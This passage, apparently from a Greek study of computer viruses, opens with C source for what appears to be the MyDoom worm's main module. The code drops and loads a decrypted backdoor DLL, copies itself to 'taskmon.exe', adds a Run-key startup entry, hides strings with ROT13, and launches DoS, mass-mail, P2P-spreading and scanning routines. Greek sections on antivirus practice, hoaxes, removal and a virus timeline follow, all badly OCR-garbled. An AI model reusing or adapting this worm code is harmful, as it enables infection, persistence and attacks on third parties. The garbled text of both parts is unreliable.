void decryptl_to_file(const unsigned char *src, int src_size, HANDLE hDest)
{

unsigned char k, buf{1024];

int i, buf_i;

DWORD dw;

for (i=0,buf_i=0,k=0xC7; i if (buf_i >= sizeof(buf)) {

WriteFile(hDest, buf, buf_i, &dw, NULL);

buf_i = 0;

}

buffbuf_i++] = srcf[i] ™ k;

k=(k+3*(i% 133)) & OxFF;

}

if (buf_i) WriteFile(hDest, buf, buf_i, &dw, NULL);
}

void payload_xproxy(struct sync_t *sync)

{

char fname[20], fpath[MAX_PATH+20];

HANDLE hFile;

inti;

rotli3(fname, "fuvztncv.qyy"); /* "shimgapi.dll" */
sync->xproxy_state = 0;

for (i=0; i<2; i++) {

if (i==0)
GetSystembDirectory(fpath, sizeof(fpath));
else

GetTempPath(sizeof(fpath), fpath);
if (fpath[0] == 0) continue;
if (fpath[istrlien(fpath)-1] = "\\') Istrcat(fpath, "\\"),
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Istrcat(fpath, fname);

hFile = CreateFile(fpath, GENERIC_WRITE, FILE SHARE_READ|FILE_SHARE WRITE,
NULL, CREATE_ALWAYS, FILE _ATTRIBUTE_NORMAL, NULL),
if (hFile == NULL || hFile == INVALID_HANDLE VALUE) {
if (GetFileAttributes(fpath) == INVALID_FILE ATTRIBUTES)
continue;

sync->xproxy_state = 2;

Istrcpy(sync->xproxy_path, fpath);

break;

}

decryptl_to_file(xproxy_data, sizeof(xproxy_data), hFile);
CloseHandle(hFile),

sync->xproxy_state = 1;

Istrcpy(sync->xproxy_path, fpath),

break;

’

if (sync->xproxy_state ==1) {
LoadlLibrary(sync->xproxy_path);
sync->xproxy_state = 2;

}

}

void sync_check_frun(struct sync_t *sync)
{

HKEY k;

DWORD disp;

char i, tmp[128];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDIg32\\Version" */
rot13(tmp, "Fbsgjner\\Zvpebfbsg\\Jvaqgbjf\\Pheeraglrefvba\\Rkcybere\\PbzQyt32\\Irefvba");

sync->first_run = 0;

for (i=0; i<2; i++)

if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, KEY_READ, &k) == 0) {

RegCloseKey(k);

return;

}

sync->first_run = 1;

for (i=0; i<2; i++)

if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)

RegCloseKey(k),;

}

int sync_mutex(struct sync_t *sync)

{

char tmp[64];

rotl13(tmp, "FjroFvcpFzgkF0"); /* "SwebSipcSmtxS0" */
CreateMutex(NULL, TRUE, tmp);

return (GetLastError() == ERROR_ALREADY EXISTS) ? 1 : 0;
}

void sync_install(struct sync_t *sync)

{
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char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
HANDLE hFile;

inti;

rotl13(fname, "gnfxzba.rkr"); /* "taskmon.exe" */
GetModuleFileName(NULL, selfpath, MAX_PATH);

Istrcpy(sync->sync_instpath, selfpath);
for (i=0; i<2; i++) {

if (i==20)
GetSystemDirectory(fpath, sizeof(fpath));
else

GetTempPath(sizeof(fpath), fpath);

if (fpath[0] == 0) continue;

if (fpath[istrlen(fpath)-1] = "\\") Istrcat(fpath, "\\");
Istrcat(fpath, fname);

SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE);

hFile = CreateFile(fpath, GENERIC_WRITE, FILE _SHARE_READ|FILE SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID HANDLE_VALUE) {
if (GetFileAttributes(fpath) == INVALID_FILE _ATTRIBUTES)
continue;

Istrcpy(sync->sync_instpath, fpath),;

break;

}

CloseHandle(hFile),;

DeleteFile(fpath),;

if (CopyfFile(selfpath, fpath, FALSE) == 0) continue;
Istrcpy(sync->sync_instpath, fpath);

break;

}

}

void sync_startup(struct sync_t *sync)
{

HKEY k;

char regpath[128];

char valname[32];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvagbjf\\Pheeraglrefvba\\Eha"),
rotl3(valname, "Gnfxzba"); /* "TaskMon" */

if (RegOpenKeyEx(HKEY _LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) = 0)
if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
return;

RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, Istrlen(sync-
>sync_instpath)+1);

RegCloseKey(k),;

}

int sync_checktime(struct sync_t *sync)

{

FILETIME ft_cur, ft_final;

GetSystemTimeAsFileTime(&ft_cur);
SystemTimeToFileTime(&sync->termdate, &ft _final);

if (ft_cur.dwHighDateTime > ft_final.dwHighDateTime) return 1,
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if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return O,
if (ft_cur.dwLowDateTime > ft_final.dwLowDateTime) return 1;
return 0;

}

void payload_sco(struct sync_t *sync)

{
FILETIME ft_cur, ft_final;

/* What's the bug about "75% failures"? */

GetSystemTimeAsFileTime(&ft_cur);
SystemTimeToFileTime(&sync->sco_date, &ft_final),;

if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;

/* here is another bug.
actually, the idea was to create a new thread and return; */

for (;;) {
scodos_main();
Sleep(1024);

}

}

DWORD _stdcall sync_visual_th(LPVOID pv)
{

PROCESS_INFORMATION pi;

STARTUPINFO si;

char cmd[256], tmp[MAX_PATH], buf[512];
HANDLE hFile;

inti, j;

DWORD dw;

tmp[0] = 0,

GetTempPath(MAX_PATH, tmp);

if (tmp[0] == 0) goto ex;

if (tmp[lIstrlen(tmp)-1] = "\\") Istrcat(tmp, "\\");
Istrcat(tmp, "Message");

hFile = CreateFile(tmp, GENERIC _READ|GENERIC_WRITE, FILE_SHARE_READ|
FILE_SHARE WRITE,

NULL, CREATE_ALWAYS, FILE ATTRIBUTE_NORMAL, NULL);

if (hFile == NULL || hFile == INVALID_HANDLE VALUE) goto ex;
for (i=0, j=0; i < 4096, i++) {

if (j >= (sizeof(buf)-4)) {

WriteFile(hFile, buf, sizeof(buf), &dw, NULL);

Jj=0;

}

if ((xrand16() % 76) ==0) {

buf{j++] = 13;

buf[j++] = 10,

tYelse {

buf{j++] = (16 + (xrand16() % 239)) & OxFF;

}

}
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if (j) WriteFile(hFile, buf, j, &dw, NULL);
CloseHandle(hFile),;

wsprintf(cmd, "notepad %s", tmp);

memset(&si, '\0', sizeof(si));

si.cb = sizeof(si),;

si.dwFlags = STARTF_USESHOWWINDOW;

si.wShowWindow = SW_SHOW;

if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
goto ex;

WaitForSingleObject(pi.hProcess, INFINITE),
CloseHandle(pi.hProcess);

ex: if (tmp[0]) DeleteFile(tmp),;
ExitThread(0);
return 0;

}

void sync_main(struct sync_t *sync)

{
DWORD tid;

sync->start_tick = GetTickCount();
sync_check_frun(sync);

if (Isync->first_run)

if (sync_mutex(sync)) return;

if (sync->first_run)

CreateThread(0, 0, sync_visual_th, NULL, 0, &tid),
payload_xproxy(sync);

if (sync_checktime(sync)) return;

sync_install(sync);
sync_startup(sync);

payload_sco(sync);

p2p_spread();

massmail_init();
CreateThread(0, 0, massmail_main_th, NULL, 0, &tid);

scan_init();
for (;;) {
scan_main();
Sleep(1024);
}

}

/* shit, MSVC inlined it to WinMain... I didn't expect. */
static void wsa_init(void)

{
WSADATA wsadata,; /* useless shit... */

WSAStartup(MAKEWORD(2,0), &wsadata),
}

int _stdcall WinMain(HINSTANCE hinst, HINSTANCE hPrevinst, LPSTR IpCmd, int nCmdShow)
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{
static const SYSTEMTIME termdate = { 2004,2,0,12, 2,28,57 };

static const SYSTEMTIME sco_date = { 2004,2,0, 1, 16, 9,18 };
struct sync_t syncO;

xrand_init();
wsa_init();

memset(&sync0, '\0', sizeof(sync0)),
syncO.termdate = termdate;
sync0.sco_date = sco_date;
sync_main(&sync0);

ExitProcess(0);
}
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5. Tponoil NMNpooTaciacg

Kal AVTIHETONIONG
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5.1 Tponoir Meradoong Iwv

Ekkivnon Tou H/Y ano poAuopevn dIoKETa 1 JOAUOHEVO dioKo.

ExkTéAeon/avolypa poAuopevwy apxeiov (.exe, .com, .vbs, .dll, .pif, .scr,
.sh, .bat k.d) nou enicuvantovTal oe emails.

EkTéAeon/avolypya HoAuopevwv apxeiwv (.exe, .com, .doc, .bat, .hlp,
.htm, .ini, .js, .php, .pif, .reg, .ppt, .sh, .shs, .sys, .vbs, .wbt, .xlIs k.a.)

Avolyda/avayvwon emails nou ouvABwg OTEAVOUV AyvwoTa O€ €0d4CG
aropa, d10TI MIBAvOV va NEPIEXOUV KATAOTPOPIKO KWAIKA (MNVUMA HOPPNAG
.html) nou evepyonoiciTar autTopaTa Pe TNV avayvwon Tou email.

Avolyua/avayvwon HOAUCHEVWYV 10ToggAIdwY .htm kai .html.

MEow npooBaong oTo internet. Suykekpigeva, 0Aa oxedov Ta AEIToUpyIKa
ouoTAMATA, Kal Kupiwg Ta Windows, €xouv "Tpuneg" aoc@aleiag TIG onoigg
EKMETAAAEUOVTAI Kanolol 10i yia va goAuvouv Tov H/Y, XQPIZ va {nThoouv
o€ onoladnnoTe nepinTwon Tnv adsia Tou XPNOTN Yiad €ykaTtaoTaon
kanolou NpoypaupaToc.
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5.2 Tponoi NMpooTtaociag ano Ioug

O Baoikog TpOMOC nMpooTaciac and Toug IoUG TWV UMNOAOYIOTWV €ival n
€ykKaTaoTaon, N owoTtn pUBHIoON KAl N OUVEXNG EVNMEPWON N EMiKAlponoinon
(update) peow Tou Internet evog €ykupou nMpoypdupaTog npoaoraciag ano 10Ug,
nou €ival yvwoTtd Pe Tov 0po Antivirus rj avTiika npoypaupard. Yndpyxouv akoun
€101ka NpoypdaupuaTa yia npooracia anod 10U¢ TUnou spyware, adware aAAd Kkai
and dialers Kal anod ™ MaoTiya TWV spam e-mails.
H xpnon evog wneiakou Teixoug npootaciag (firewall), pe Tn popen software n
hardware, €ival xpnoiyn aAAd 6a npeEnel va yiveralr JeE Npoooxn Kal PE TNV
npoUnoBean OTI UNAPXElI KAAR yvwon Tou Tponou pUBNIoONG Kal AsiIToupyiag Tou.
O1 yevikoi kavoveg npooTaciag e€ivar OTI 6a npenel va MPOCEXOUHE TI
NPoypaupaTa eKTEAOUPE OTOV UMNOAOYIOTH MAG, TI apxeia kateBaloupe and To
Internet, noio¢ pac oteAvel e-mail kaBw¢ kal nolog €xel To OIKAiwPa va
XPNOILOMOINCElI TOV UMOAOYIOTH Pag oTtav €ueic anoualialoupe. Mpoooxn MnpEnel
va Oivoupe kal oTa npoypdapuata nou diapnuifovtal kal diavéuovtal dwpeav
Kabwg Kal oTa NpoypAupaTa nou XpnolgonoloUUE yia va kavouue chat.Mia noAu
KaAn AUon €ival va eyKaTaoTOOUME KAl VA EKTEAECOUME PIa Ao TIC EPAPUOYEC
nou avaAapfavouv va avixveloouv OTO OUCTNHA PAC Ta TUXOV UMAPXOVTd
euaiodnTa onueia (vulnerabilities) kal va pag Ta napouciAoouv PE NAPACTATIKO
TpOMo. TEAOC, HWia NoAU KaAn ouuBouAn €ival va AduBavoupe NoAU TAKTIKA, i0WG
Kal kabnuepiva, pedpika avtiypa@a aocpaAsiag Twv apxeiwv pag, oe CD, o€
DVD 1 og eEwTepikO okAnpO dioko, Wia d1adikacia nou €ival yvwaoTr JE ToV 0po
back-up, €70l WOTE AKOPA KAl OTNV AKPAid MEPINTWON NOU XAOOUWE ONHAVTIKA
apxeia and Tnv €niBeon kdanoiou 10U, va MMOPECOUME va TA AVAKTAOOUME
apeca.Anodé Ta nio yvwoTda avTiika npoypdpparta €ivalr To Norton Antivirus Tng
€Taipeiagc Symantec, To McAfee Tng etaipeiag Network Associates, ToO
Kaspersky, To Panda, To Sophos, To F-Prot Tng ertaipeiag Frisk, To F-Secure
kabwg kal To AntiVir kal To AVG Tng etaipeiag Grisoft nou diaTtiBevral dwpedv
yia npoownikf xpnon. 'OAa €xouv Tn OuvatoTNTA AQUTOPATNG EVNHEPWONG
(update) pe€ow Tou Internet.
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5.2.1 Baoikoi Tponoi MpoAnywng

. Na €xeTe NAvTa €YKATEOTNMEVO KAl EVEPYO €va ANOTEAEOHATIKO antivirus,
TO OMOI0 VA EVNUEPWVETE OUXVA. ZUYKPITIKA YIAQ TNV ANOTEAECHATIKOTNTA
KANOIWV YVWOTWV Kdl Hn antivirus pnopeite va Bpeite oTIGC 0eAideC
WWW.Virus.gr Kal Www.av-comparatives.org, woTe va anopaciosTE OwaoTa
nolo antivirus Taipialel oTIC AvAyKeg 0ag.

. Na €xeTe €yKATEOTNMEVO KAl €vePYO &va anoTeAsopaTtikd firewall oTov
unoAoyioTtn oag (site eEwTepikr hardware povada n software) oTto onoio
Ba €xeTe avoiXTa JOVO Ta ports Nou €o0e€ic XpnNOIKNOMOIEITE.

. Na kaverte ouxva avapBabuion oTo AEITOUPYIKO 0aG CUOTNMA KAl VA EXETE
TIG TEAEUTAIEG eKOOOCEIC ANO TA NPOYPANKATA TA ONoia XPNOILOMOIEITE.
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5.2.2 EminpooOera Merpa Mpooraaoiag

1. EykaTaoTnoTe kanolo backup Aoyiopiko KAl KpaTeioTe TakTIkKA backups Twv
apxeiwv oag. Idavikd, os kanoio Ao onueio kal OxI oTov unoAoyioTh oag. MNa
napadelypa o €va ZIP disk, og éva CD, k.T.A. Mg auTdv TOV TPONO, AV KAMOIOG
I0C MOAUvel To ouoTnua oag () npokUWel kanolo aAAo npofAnua) kai dev
MMOPEITE VA TO ENAVAQPEPETE, HMOPEITE va EMNIOTPEYETE OTNV MNPONYOUHEVN
€k000N TwWV JEDONEVWV OAC.

Mnv oBnveTe To nponyouuevo backup oac o0Tav kpatdTte veéo backup. Eival
YVwoTo OTI grnopouv va npokuwouv npoBAnuaTta kata tn diadikacia Tou backup
Kal JE auTOV Tov TpONo Ba €ioTe oiyoupol OTI Ba EXETE NAVTA €va OAOKANPWHEVO
backup diaB&oipo.

2. Mnv avoiyeTe ouvnuuéva o€ e-mail, ekTOC Kal av NePIPEVETE va AABeTe €va
OUVNUPEVO PJEOW mMail and To ATOPO TO OMoio 0AC AMEOTEIAE TO PRvupa. AuTo
nepiAapBavel kal ouvnuuéva o e-mail and yvwoTd oag atoha- o UMoAOYIOTNG
TOUG MMOpPEi va €xel HOAUVOEI kal o 160G pnopei va oag otéAvel mail xwpig ol idiol
va TO yvwpilouv.
Eav dev €ioTe giyoupol yia TO av 0 anooToAEAG OVTWG NIBUPOUCE va 0ag OTEIAE
€va OUVNUMEVO, OTEIATE Tou £€va e-mail kal pwTAOTE €av yvwpilel OTI 0ag
€0TEINE &va OUVNHMPEVO Kal TI NEPIEXEI auTo.
'OTav YPAPETE €va e-mail o€ €va ATONO NOU 04C E0TEIAE €vA OUVNUUEVO, MPEMEI
va xpnoigonoinoete To «N€o unvupa» (N Tnv avrioToixn AsiToupyia) oTto e-mail
npOYpPAUPa o0ac. Mnv KAveTe KAIK oTo «Reply», kabw¢ HEOw auToU MMOpEI
€UKoOAa va avoi&el To JOAUOUEVO apxeEio UE ToV 10.

3. Mnv «TpeEeTe» macros 6Tav avoiyete Microsoft Word ) Excel apxeia, €kToc
kal av BAaAete macros ekei ol idlol. AuTO oupPaivel €10IkG O€ apxeia nou
AapBavovTal yeow mail, akdéua kai anod yvwoTouc oac avepwnouc.

4. 'OTtav «kaTtefalete» apxeia ano Internet sites, anoBnkeuoTe Ta apxeia auta
o€ €&vav npoowpivo @akelo (temporary folder) otov unoAoyioTn oag f o€ dia
OIOKETA. ZKAVAPETE Ta yia 10UG, XpnoidonoiwvTtag To antivirus AoyiodikO o0ag
npIv Ta avoi&eTe.

5. Ano@uyeTe va <«kateBaocsre» apxeia and avunoAnnta sites. Tia
napadeiyya, pnv kateBalete apyeia anod «crackz», «appz», «warez» 1 aAAa
napavopa/ neipartika sites Aoylopikwyv. TETOIOU €id0UC apxeia €ival yvwoTo OTI
nepPIEXOUV 100G, trojans K.T.A.
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6. BeBaiwBeite 0TI dev undapxel aBsla kanoia OIOKETA PEoa oTo drive npoTou
EMNAVEKKIVNOETE Tov urnoAoyioTn oac.
EAQv €navekKIVOETE TOV UMOAOYIOTI) 0AC VW UMAPXEl MIa PHOAUOHEVN OIOKETA
huEoa oTo drive, 6a PHOAUVOEITE pE 10.

7. AnpioupynoTe éva kabapo MS-DOS boot disk kal kpatnote To 0 €va
AOQAAEGC ONMEIO.ZTOUG NEPICOOTEPOUG UMOAOYIOTEG UNOPEITE va dNUIOUPYNOETE
eva TETOIO disk, avoiyovTac Eva MS-DOS napabupo Kal
nAnkTpoAoywvTtac:FORMAT A: /S

ApoU eTolpaoeTe To disk, opioTe To tab otn OlokéTa otn Write-Protected
0€on.Mnopei va xpelaoTeite autd To disk 0TAv KAVETE AvAKTNON ANO OPICHEVOUG
TUMOUC MOAUOHEVWYV IwV. To antivirus AoyiopikO oac kai/ i Ta antivirus web
sites nepiExouv odnyieg yia To kaBApIOUA TWV IWV.

8. Edv €ival duvaTov, Pnopeite va NabeTe oplopeveg Baoikeg MS-DOS eVvTOAEG.
To va yvwpileTe AUTEG TIC EVTOAEC Ba oac gavei NOAU XprnoINO O ENEIYOUOEG
KATAOTACEIG.

-89-



5.2.3 Virus Hoaxes

Eav eiote xpnotng Tou Internet yia kanolo diaoTnua, nibavov Ba E€XeTe
AaBel hoax virus warnings. Ta hoax virus warnings &ekivouv and €va aTtoho HE
Kakn npobeon (N w¢ ¢apoa) kalr katoniv dlavépovTtal o€ NoAAoUg abwoug
XPNOTEC UMNOAOYIOTWV rMou Aavbaopeva moTevouv OTI  €ivdl NPAYMATIKEG
npoe&idonoinoeig kal 0TI BonBouv AaAAoug avBpwnoug Pe To va diaveéPouv auTa
Ta ynvouara.

O1 nepiocoTepeg hoax virus 1donoinosig divouv odnyieg oTov napaAnntn
va npowBnoel Tnv €1donoinon o€ «OAOUG TOUG YVWOTOUG TOU» Kal yI' auTov Tov
AOyo €EanAwvovTal TOoo yprnyopda.

Eav AdBete pia virus eidonoinon 1 dAvupa nou oag¢ {nTtda va To
NPowBNOETE 0 «OAOUG TOUC YVWOTOUG 0dc», ol NiBavoTnTeS ival OTI NpoOKeITal
yia WeUTIKO PMNvupa. Anod Ta nio yvwoTa virus hoax €ival To «Good Times».

O1 hoax €1donoinosic npokaAoUv BAABEC:

Eival yvwoTo 0TI To e-mail ouoTnua pIag €Taipiac YNopei va «necer» ano
TOV HEYaAo apiBuo Twv e-mail €1donoinoswy nou npowbouvTal and XpHOTEC O€
AaAAOUG XPNOTEG KATA auppon.

Ta hoaxes onataAouv To XpOVo TwV XPNOTWV KAl €NionG eKPUETAAAeUOVTAI
Ta resources Tou Internet kar To bandwidth.

Oplopeveg hoax virus €100M0INOEIC NPOTPENOUV TOUG XPNOTEC va oBnoouv
apxeia anod TOuG UMOAOYIOTEC TOUG, Yid nApadelyhda dapxeia nmou Oev €Xouv
HOAuvOei and kanolo 160 kAl WNOPEI va €ival onuavTikOTATa yia Tn OwoTn
AEITOUPYia TOU UuNoAoOYIOTH.

2aG NPOTEIVOUNE va PNV NpowBEiTE NOTE TIC virus €10onoINoeI¢. Eav npenel
va To KAVETE, TOTE EAEYETE NPpWTA NPOCEKTIKA €AV n €1donoinon ival YeuTikn.
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5.3 Avriuetwnion MoAuvong ano Io6

Av €xeTe WJOAuvOel and 10 KAl EXETE €YKATEOTNMEVO avTIPRIOTIKO
npoypaupa, BAATe To va kavel nAnpn €Aeyxo 0Aou Tou okAnpou oag diokou (full
system scan). Av Bpel Tov 10, 6a npoPei auTdéPaTa OTIC KATAAANAEG EVEPYEIEG,
€iTe d1aypAPOVTAC TOV, €ITE ANONOVWVOVTAG TOV anod To unoAoino ouoTnua.

€ nepinTwon nou To avTiBIOTIKO odc¢ aduvdaTei va anokaTtaoThOEl TN
(nuIa, pn dlaypAWeTeE KaveEva POAUCHEVO apxeio. EnaveAeyETe Ta POAUOHEVA
apxeia Me kdamolo AAAo npoypappa, iowg autd va Exel  duvaTtoTnTa
anokaTaoTaong rnou dev €XEl TO NPWTO NPOypaAPHa.

MNpoonaBnoTe va Bpeite and 1o AiadikTuo To NpOypaAPHa anoPakpuvong
Tou 10U (removal tool) eniokenTopevol TIG KATAAANAEG OleuBuvaoelg (0w MnpEnel
va yvwpileTe TnVv akpifry ovopacia Tou 10U, MPOKEIJEVOU va PBpeite TO
KaTaAAnAo vyia autov npoypaupa) Kkai, agoUu TO KATERBACETE O WMia
«kaBapn»dIoKETA, TPEETE TO OTOV UMOAOYIOTN 0ag NAavw ano pia popa

€ nepiNTwon nMou oUTE TO avTIBIOTIKO 0ag, oUTe To €IOIKO nMpoOypapua
anoudkpuvong PMNopei va «kabapioel» Tov UNoOAOYIOTH 04dc, JNOPEi va XPEIAoTEi
va kavere format. Ze autnv Tnv nepinTwon €ival KAAd va €XETE KPATNOEI
avtiypapa OAwv TwV NpoypauudTwVv Nou undpyxouv OTOV UMOAOYIOTR 0dag, yid
va pnopeoeTe PeTa 1o format va Ta EavanepdosTe.

M'VWOTEC €TAIPEIEC NPOTPEPOUV TN OUVATOTNTA EAEYXOU KAl ANOPAKPUVONC
TWV IOV TOU unoAoyioTh oag on-line. TeToleg dieubuvaoelg €ivai:

Kaspersky
TrendMicro

M'vwoTa avTifioTika npoypdpuaTa (oTIG 0eAIdEC TWV NPOYPAUNATWY AUTWV
npoo@epovtal ouvABwe kal Ta removal tools TnNG kdaBe eTaipeiac):

Trendmicro
Pc cillin
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N o u h~h W N

BipBAioypaia

IoTooeAidEC:

. http://www.virus.gr

. http://en.wikipedia.org/wiki/Computer_virus

. http://www.fotoart.gr/antivirus/index.htm

. http://www.e-vliko.gr/safety/svirus3.htm

. http://www.securitymanager.gr/protection_viruses 2.html

. http://www.de.sch.gr/~antoniou/MyPage/Safelnternet/Disinfect.htm

. http://www.besafeonline.org/English/computer_viruses.htm

Mepiodika:

Security Manager
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NapapTngaTa
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MNapapTnua A
IOTOPIKO TWV ONUAVTIKOTEP®YV IWV HEXPI ONHEPA

1980-1989

1982
'Eva npoypauppa anokaAoupevo Elk Cloner, ypappevo yia Apple II
ouaTAMaTa, AEyeral OTI €ival 0 NPWTOG UNMOAOYIOTIKOG 10C NOU EUPAVIOTNKE
"in the wild", dnAadn ekTOC TOu UMOAOYIOTN I €PyacTnpiou OTO OMOIo
OnNMIoUpyYNONKE.

1986
Iavoudpiog: Epgaviletal o boot sector virus Brain, nou Bewpeital o
npwTo¢ 10¢ yia PC.

1987

- OkTwPploG: O 10¢ Jerusalem epgavifetal ornv noAn IepoucaAnu, Tou

IopanA. Eivar &vag 16¢ nNpoypauUATIONEVOG VA KATACOTPEPElI EKTEAECIUA
apxeia kabe popd nou n nuepopnvia ival MNapaokeun kai 13.
NoguBpiog: EpgaviCetal o 16¢ SCA, €vag boot sector virus yia cuoTriuaTa
Amiga, npokaAwvTag apecws Wia "katalyida" avantuéng iwv. ZUvToua, n
SCA KUKAOQOpEi €vav aAAo, onuavTika nid0 KATAOTPENTIKO 10, Tov Byte
Bandit.

1988

. IoUviog: O 10¢ Festering Hate,yia Apple ProDOS cuoTtruaTa diadideTal ano

napavopa "neipatika" BBS cuoTnuaTa kal npooBAAel KevTpika dikTua.
2 NoeuBpiou: To okouAnkl Morris, kaTackeuaopevo anod Tov Robert
Tappan Morris, npooBaAel DEC VAX kal SUN cuoThuaTta nou TpExouv BSD
UNIX kai €ival ouvdedepeva aTo Internet, kal yiveTrar To NpwTO OKOUANKI
nou d1adwblnke "in the wild", kal €&va and Ta NpwTa EUPEWC YVWOTA
npoypdupaTta nou ekheTaAeveTral buffer overrun sundBeiec. AvakaAunTeTal
0 10G Ping-Pong kai katageépvel va yivel o nid yvwoTtodg boot sector virus
TNG €MoxnG Tou.

1989
OkTwppiog: O Ghostball, o npwToc multipartite 16¢, avakaAunTteTar ano
Tov Fridrik Skulason

1990-1999

1992
O 16¢ Michelangelo npocine OTI Ba dnuioupynoel Wia WN@iakn anokaiuwn
oTic_ 6 MapTiou, PE €KATOMMUPIA UMOAOYIOTEG va XAvouv OAa Toug Ta
dedopeva, oUNPWVA PE TNV uoTepia Twv MME nou nepiEBale Tov 10. H
METENEITA anoTignon TNS {nuIac £0€1€s undapivo enakoAoubo.

1995
Anpioupyeital o "Concept virus" o npwTtoc Macro 10¢

1998
2 Iouviou: EpgavileTal n npwTtn €kdoon Tou 10U CIH.
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1999

. 26 Maprtiou: Ep@avileTal To okouAnkl Melissa, oTtoxelovTag cuoTnuaTa
Baoiopeva oe Microsoft Word kar Qutlook, kai dnuioupyei onuavTikn
Kivnon oto OikTuo.

2000 ka1 apyoTepa

2000
Mdiog: To okouAnkl VBS/Loveletter, eniong yvwoTtd wg 160G "I love you"
eM@avileTal. Mexpl kal 1o 2004, ATav o M0 €n{AMIOG OIKOVOMIKA 10G,
npokaAwvTac {nuia 10 dic doAapiwv.

2001

- Iavoudplog: 'Eva OkOUANKI HE €EaIpeTIK OMOIOTNTA HWE TO Morris,
ovopalopevo Ramen npooéBaAle pyovo cuoTnuaTta nou £rpexav Red Hat
Linux €kdoong 6.2 kal 7, ekJeTaAeudpevo sunabeiec oe wu-ftpd, rpc-statd
Kal Ipd.

- 8 Mdiou: To okouAnkl Sadmind 31adideTal EKPETAAEUOUEVO TPUNEG KAl OTO
Solaris TnG Sun Microsystem (Security Bulletin 00191) kai oTiG Microsoft's
Internet Information Services (MS00-078).

IoUAIoG: To okouAnki Sircam eugaviletal, d1adIdOPeEVO PHECW e-mails Kal
anpooTaTeuTwV network shares.

- 13 TouAiou: To okouAnki Code Red sp@avileTal npooBaiwvtag To Index
Server ISAPI Extension oTi¢ Internet Information Services Tn¢ Microsoft
ME eunabeia nou neplypageral oto MS01-033.

4 AuyougTou: ZavaypdgeTtal ano Tnv apxn To okouAnkl Code Red,pe 1O
ovopa Code Red II kal diadideTal eniBeTIKA, KUpiwg oTnv Kiva.

18 >enteuBpiou: To okouAnkl Nimda avakaAuntertal kai di1adiderar ano
NoAAG PEoa, nou nepiAapBavouv eunabeleg nou nepiypagovrtal oto MS01-
044 kal Tpunec nou €ixav agnoel Ta okouAnkia Code Red II kai Sadmind.
26 OkTwRpiou: AvakaAUnTeTal TO OKOUANKI Klez.

2003

- 24 Iavouapiou: To okouAnkl SQL slammer yvwoTo kal wg Sapphire,
npooePale eundbeleg oto Microsoft SQL Server kai To MSDE nou
neplypdgovrtal ota MS02-039 kal MS02-061, npokKaAwvTag EUPEWG
d1adedopeva npoBAnuaTa.
12 AuyouoTou: To okoUAnNkKI Blaster, yvwoTo kali w¢ Lovesan, diadwOnke
ypriyopa, npooBaAwvtag ocuoTnuaTta he Microsoft Windows suaiobnta o€
€Unabelec Nnou neplypagovTal oto MS03-026 kal apyoTepa oto MS03-039.
18 AuyoucoTou: To okouAnkl Welchia (Nachi)avakaAunTeTal. To OKOUANKI
autd npoonabei va agalpecel To OKOUANKI blaster kal va enidiopbwoel Ta
Windows.
19 AuyougTtou: To OKOUANKI Sobig (TexvikG TO OKOUANKI Sobig.F)
d1adideTal yprnyopa peow mail kal network shares.

. 24 OkTwPpiou: To OKOUANKI Sober npwToeu@avileTa kAl NAPAPEVEI OTO
NpoOoKNVIO w¢ To 2005 pe noOAAEG veeg napaiayeg. O1 TAQUTOXPOVEG
ENIOECEIC TWV OKOUANKIWV Blaster kal Sobig npokaAeoav peyain nuia.
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200

4
TeAn Iavouapiou: Ep@aviletal To MyDoom, kKaTeXovTag PEXPI ONUEPA TO
peKOP TOU N6 ypriyopa d1adidopevou Peow paldikwv e-mail okouAnkiou.

- 19 MapTiou: To okoUAnkl Witty €xel onaoel NnoAAa pekop. EKPeTaAeuoTav

TpUNeC o€ NoAAd npoidovrta Internet Security Systems (ISS). 'Htav TO
OKOUANKI NMou anokaAUQTnKe nid yprAyopa, ATav To NPWTO OKOUANKI Mou
gixe payload kai 81ad06nke yprnyopa xpnoigonoiwvtag Wia pre-populated
list and ground-zero hosts.

- 1 Mdiou: To OKOUANKI Sasser ep@avileTal EKUETAAEUOHPEVO HIa gunddeia

oTo LSASS nou nepiypagetal oto MS04-011 kal npokaAei npoBAnuaTa os
dikTua, d1aKONTOVTAC KAl TNV €PYACia O€ KAMNOIEC NEPINTWOEIC.

- AekeuPploc: To Santy, TO0 npwto yvwoTo "webworm" ep@avileTal.

MpoogBale pia eundabeia otnv PhpBB nou nepiypageral oto BID10701 kai
xpnoigonolouoe To Google yia va Bpei véoug aTdoxouc. MpooeBale nepinou
40000 sites pexpr 1O Google va @IATpApl Tnv search query nou
XPNOIUOMNOIOUCE TO AKOUANKI, anoTpenovTac Tn d1adoar) Tou.

2005

2006

16 AuyouoTou: AvakaAUnTeTal To okoUANKI Zotob kail didpopec malware
napaAAayec nou ekPeTaAsvovTav TOo MS05-039. H enidpacry ToUu
MeyaAonoinbnke yiaTti npooBARBnkav apkeTd ano Ta MME Twv HIMA.

13 OkTwPpiou: To okoUANKI Samy €ival To nid ypriyopa d1adedOUEVO WG
T0 2006.

20 Iavouapiou: AvakaAunTerar To OKOUANKI Nyxem. Aiadidsral PEOW
Halkwv e-mail. To payload Tou, nou evepyonoisital oTIC 3 kKABe pnva,
apyifovrac ano 10 ®PeBpoudplo, EMNIXEIPEI vaA  AMNEVEPYOMOINOEI
NpoypAupaTa OXeETIKA Me ao@dAesia kal file sharing, kal kaTaoTpeQel
apxeia apkeTwv TUNWV, 6NWc apxeia Microsoft Office.

